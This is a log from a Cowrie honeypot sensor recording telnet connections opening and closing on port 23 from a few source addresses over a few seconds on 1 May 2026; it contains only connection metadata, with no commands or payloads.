{"eventid":"cowrie.session.closed","duration":30.544955015182495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.156894Z","src_ip":"104.167.8.156","session":"9326318107e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.397377490997314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.174497Z","src_ip":"104.167.8.156","session":"d0edf987121e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84055995941162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.242281Z","src_ip":"104.167.8.156","session":"dc0125a02513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62317728996277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.347719Z","src_ip":"104.167.8.156","session":"db25a5929037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48578,"dst_ip":"10.17.0.5","dst_port":23,"session":"4db6576f7f26","protocol":"telnet","message":"New connection: 104.167.8.156:48578 (10.17.0.5:23) [session: 4db6576f7f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.393338Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48782,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeebfed8a5fc","protocol":"telnet","message":"New connection: 104.167.8.156:48782 (10.17.0.5:23) [session: eeebfed8a5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.455962Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35894,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbea357d1087","protocol":"telnet","message":"New connection: 188.208.141.113:35894 (10.17.0.5:23) [session: fbea357d1087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.504214Z"}
{"eventid":"cowrie.session.closed","duration":49.85093569755554,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.581917Z","src_ip":"188.208.141.113","session":"f0e629766521","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202253818511963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.639301Z","src_ip":"104.167.8.156","session":"9bd783826382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38208,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca442d735f8","protocol":"telnet","message":"New connection: 104.167.8.156:38208 (10.17.0.5:23) [session: 3ca442d735f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.677033Z"}
{"eventid":"cowrie.session.closed","duration":31.613964557647705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.745213Z","src_ip":"104.167.8.156","session":"150eef67c8a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49826,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e790f98b4a","protocol":"telnet","message":"New connection: 104.167.8.156:49826 (10.17.0.5:23) [session: 19e790f98b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.750456Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49922,"dst_ip":"10.17.0.5","dst_port":23,"session":"649dd13a57d7","protocol":"telnet","message":"New connection: 104.167.8.156:49922 (10.17.0.5:23) [session: 649dd13a57d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.777440Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35900,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a99a39017d","protocol":"telnet","message":"New connection: 188.208.141.113:35900 (10.17.0.5:23) [session: 51a99a39017d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.881910Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f3fefa37284","protocol":"telnet","message":"New connection: 104.167.8.156:47156 (10.17.0.5:23) [session: 0f3fefa37284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:55.983255Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47374,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ec5a797a34f","protocol":"telnet","message":"New connection: 104.167.8.156:47374 (10.17.0.5:23) [session: 5ec5a797a34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.062718Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50918,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a660d9e8b0","protocol":"telnet","message":"New connection: 104.167.8.156:50918 (10.17.0.5:23) [session: c3a660d9e8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.073118Z"}
{"eventid":"cowrie.session.closed","duration":31.11440420150757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.109370Z","src_ip":"108.61.251.217","session":"fdb972df86af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51172,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e3e5fa3cf15","protocol":"telnet","message":"New connection: 104.167.8.156:51172 (10.17.0.5:23) [session: 6e3e5fa3cf15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.132753Z"}
{"eventid":"cowrie.session.closed","duration":1.4808523654937744,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.262364Z","src_ip":"188.208.141.113","session":"b7f406fda1e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8fef00cbb43","protocol":"telnet","message":"New connection: 104.167.8.156:52422 (10.17.0.5:23) [session: a8fef00cbb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.381189Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35912,"dst_ip":"10.17.0.5","dst_port":23,"session":"54588746989c","protocol":"telnet","message":"New connection: 188.208.141.113:35912 (10.17.0.5:23) [session: 54588746989c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.441929Z"}
{"eventid":"cowrie.session.closed","duration":31.35228943824768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.695697Z","src_ip":"104.167.8.156","session":"2be90e8c3bc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49676,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1145115858","protocol":"telnet","message":"New connection: 104.167.8.156:49676 (10.17.0.5:23) [session: cb1145115858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.705000Z"}
{"eventid":"cowrie.session.closed","duration":31.726948976516724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.848248Z","src_ip":"108.61.251.217","session":"19b4da15e7ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1681078f9cd","protocol":"telnet","message":"New connection: 104.167.8.156:43096 (10.17.0.5:23) [session: d1681078f9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.904606Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41110,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8bb7e30fa50","protocol":"telnet","message":"New connection: 108.61.251.217:41110 (10.17.0.5:23) [session: d8bb7e30fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:56.962999Z"}
{"eventid":"cowrie.session.closed","duration":31.615748405456543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.000794Z","src_ip":"104.167.8.156","session":"c55d40aa305f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50704,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc239bd1f82c","protocol":"telnet","message":"New connection: 104.167.8.156:50704 (10.17.0.5:23) [session: bc239bd1f82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.017814Z"}
{"eventid":"cowrie.session.closed","duration":30.1869535446167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.032074Z","src_ip":"104.167.8.156","session":"ecca4b13c8c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43566,"dst_ip":"10.17.0.5","dst_port":23,"session":"f980752205e9","protocol":"telnet","message":"New connection: 104.167.8.156:43566 (10.17.0.5:23) [session: f980752205e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.052849Z"}
{"eventid":"cowrie.session.closed","duration":30.219950675964355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.110696Z","src_ip":"98.70.41.28","session":"51fb62554419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985931873321533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.120334Z","src_ip":"98.70.41.28","session":"4c17a8dcdd23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43835,"dst_ip":"10.17.0.5","dst_port":23,"session":"098c3dab2721","protocol":"telnet","message":"New connection: 104.167.8.156:43835 (10.17.0.5:23) [session: 098c3dab2721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.126480Z"}
{"eventid":"cowrie.session.closed","duration":31.223297119140625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.131360Z","src_ip":"108.61.251.217","session":"a4470bdbc909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819793462753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.172370Z","src_ip":"104.167.8.156","session":"cfaa51179b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"832fdea2dee5","protocol":"telnet","message":"New connection: 104.167.8.156:55218 (10.17.0.5:23) [session: 832fdea2dee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.246441Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55460,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad4685f05983","protocol":"telnet","message":"New connection: 104.167.8.156:55460 (10.17.0.5:23) [session: ad4685f05983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.300350Z"}
{"eventid":"cowrie.session.closed","duration":31.05400538444519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.432910Z","src_ip":"104.167.8.156","session":"cf6cce4bdf70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56593,"dst_ip":"10.17.0.5","dst_port":23,"session":"84748b12c0dc","protocol":"telnet","message":"New connection: 104.167.8.156:56593 (10.17.0.5:23) [session: 84748b12c0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.563743Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57696,"dst_ip":"10.17.0.5","dst_port":23,"session":"9019f007f739","protocol":"telnet","message":"New connection: 104.167.8.156:57696 (10.17.0.5:23) [session: 9019f007f739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.913249Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57778,"dst_ip":"10.17.0.5","dst_port":23,"session":"2235a2a13c42","protocol":"telnet","message":"New connection: 104.167.8.156:57778 (10.17.0.5:23) [session: 2235a2a13c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:57.936649Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54360,"dst_ip":"10.17.0.5","dst_port":23,"session":"f31cd4ba6161","protocol":"telnet","message":"New connection: 104.167.8.156:54360 (10.17.0.5:23) [session: f31cd4ba6161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.018234Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47256,"dst_ip":"10.17.0.5","dst_port":23,"session":"106cc2a0863e","protocol":"telnet","message":"New connection: 104.167.8.156:47256 (10.17.0.5:23) [session: 106cc2a0863e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.029296Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58112,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4e520b9f84f","protocol":"telnet","message":"New connection: 104.167.8.156:58112 (10.17.0.5:23) [session: b4e520b9f84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.042885Z"}
{"eventid":"cowrie.session.closed","duration":30.156570196151733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.049187Z","src_ip":"104.167.8.156","session":"861f5574dafc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"106d005c29c7","protocol":"telnet","message":"New connection: 188.208.141.113:35924 (10.17.0.5:23) [session: 106d005c29c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.111403Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58526,"dst_ip":"10.17.0.5","dst_port":23,"session":"98583c6c2b15","protocol":"telnet","message":"New connection: 104.167.8.156:58526 (10.17.0.5:23) [session: 98583c6c2b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.157074Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58792,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6406c09ed70","protocol":"telnet","message":"New connection: 104.167.8.156:58792 (10.17.0.5:23) [session: e6406c09ed70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.213906Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58972,"dst_ip":"10.17.0.5","dst_port":23,"session":"d55ae1196afb","protocol":"telnet","message":"New connection: 104.167.8.156:58972 (10.17.0.5:23) [session: d55ae1196afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.267582Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"7940702e3152","protocol":"telnet","message":"New connection: 104.167.8.156:59044 (10.17.0.5:23) [session: 7940702e3152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.287398Z"}
{"eventid":"cowrie.session.closed","duration":2.1168129444122314,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.558611Z","src_ip":"188.208.141.113","session":"54588746989c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64664101600647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.639491Z","src_ip":"104.167.8.156","session":"cb3aa5d1fd25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56912,"dst_ip":"10.17.0.5","dst_port":23,"session":"5404419ab1e9","protocol":"telnet","message":"New connection: 104.167.8.156:56912 (10.17.0.5:23) [session: 5404419ab1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.645097Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60704,"dst_ip":"10.17.0.5","dst_port":23,"session":"75dc59ff572a","protocol":"telnet","message":"New connection: 104.167.8.156:60704 (10.17.0.5:23) [session: 75dc59ff572a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.722775Z"}
{"eventid":"cowrie.session.closed","duration":31.499961853027344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.735831Z","src_ip":"104.167.8.156","session":"69dcd1bf4846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887685537338257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.771376Z","src_ip":"108.61.251.217","session":"f289e7bb7d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60962,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2dd8058fbf","protocol":"telnet","message":"New connection: 104.167.8.156:60962 (10.17.0.5:23) [session: eb2dd8058fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:58.814717Z"}
{"eventid":"cowrie.session.closed","duration":30.80474829673767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.030663Z","src_ip":"104.167.8.156","session":"bffa71daf0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58138,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1d85c71506f","protocol":"telnet","message":"New connection: 104.167.8.156:58138 (10.17.0.5:23) [session: c1d85c71506f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.058988Z"}
{"eventid":"cowrie.session.closed","duration":30.342868328094482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.086827Z","src_ip":"104.167.8.156","session":"0750608b7399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34050,"dst_ip":"10.17.0.5","dst_port":23,"session":"0890c110daf7","protocol":"telnet","message":"New connection: 104.167.8.156:34050 (10.17.0.5:23) [session: 0890c110daf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.163325Z"}
{"eventid":"cowrie.session.closed","duration":30.96661138534546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.169235Z","src_ip":"104.167.8.156","session":"07eee5a24544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41156,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df8f7ad547a","protocol":"telnet","message":"New connection: 108.61.251.217:41156 (10.17.0.5:23) [session: 6df8f7ad547a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.258439Z"}
{"eventid":"cowrie.session.closed","duration":30.624088764190674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.296783Z","src_ip":"104.167.8.156","session":"1303bea973b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32981848716736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.327970Z","src_ip":"108.61.251.217","session":"cb6e68b5d671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0313e032a83","protocol":"telnet","message":"New connection: 104.167.8.156:34768 (10.17.0.5:23) [session: f0313e032a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.348059Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52542,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6cde771dfc1","protocol":"telnet","message":"New connection: 104.167.8.156:52542 (10.17.0.5:23) [session: c6cde771dfc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.404840Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35112,"dst_ip":"10.17.0.5","dst_port":23,"session":"804b3469893c","protocol":"telnet","message":"New connection: 104.167.8.156:35112 (10.17.0.5:23) [session: 804b3469893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.439802Z"}
{"eventid":"cowrie.session.closed","duration":31.442484617233276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.543356Z","src_ip":"104.167.8.156","session":"bf6cfad3f2fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35938,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d82c3fc944","protocol":"telnet","message":"New connection: 188.208.141.113:35938 (10.17.0.5:23) [session: d2d82c3fc944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.681540Z"}
{"eventid":"cowrie.session.closed","duration":31.26852583885193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.849636Z","src_ip":"104.167.8.156","session":"0ccc051f6928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36420,"dst_ip":"10.17.0.5","dst_port":23,"session":"3795fea5b063","protocol":"telnet","message":"New connection: 104.167.8.156:36420 (10.17.0.5:23) [session: 3795fea5b063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.859302Z"}
{"eventid":"cowrie.session.closed","duration":34.69499230384827,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.906407Z","src_ip":"64.227.9.242","session":"fedea46f8673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36858,"dst_ip":"10.17.0.5","dst_port":23,"session":"560bb77400ea","protocol":"telnet","message":"New connection: 104.167.8.156:36858 (10.17.0.5:23) [session: 560bb77400ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:59.980447Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33718,"dst_ip":"10.17.0.5","dst_port":23,"session":"288be4369abb","protocol":"telnet","message":"New connection: 104.167.8.156:33718 (10.17.0.5:23) [session: 288be4369abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.086622Z"}
{"eventid":"cowrie.session.closed","duration":30.549769401550293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.100041Z","src_ip":"104.167.8.156","session":"facf3ed50db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.269694328308105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.122378Z","src_ip":"104.167.8.156","session":"a82bddb4a628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.345381021499634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.147501Z","src_ip":"104.167.8.156","session":"718581922051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34592,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5880e754210","protocol":"telnet","message":"New connection: 104.167.8.156:34592 (10.17.0.5:23) [session: c5880e754210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.307785Z"}
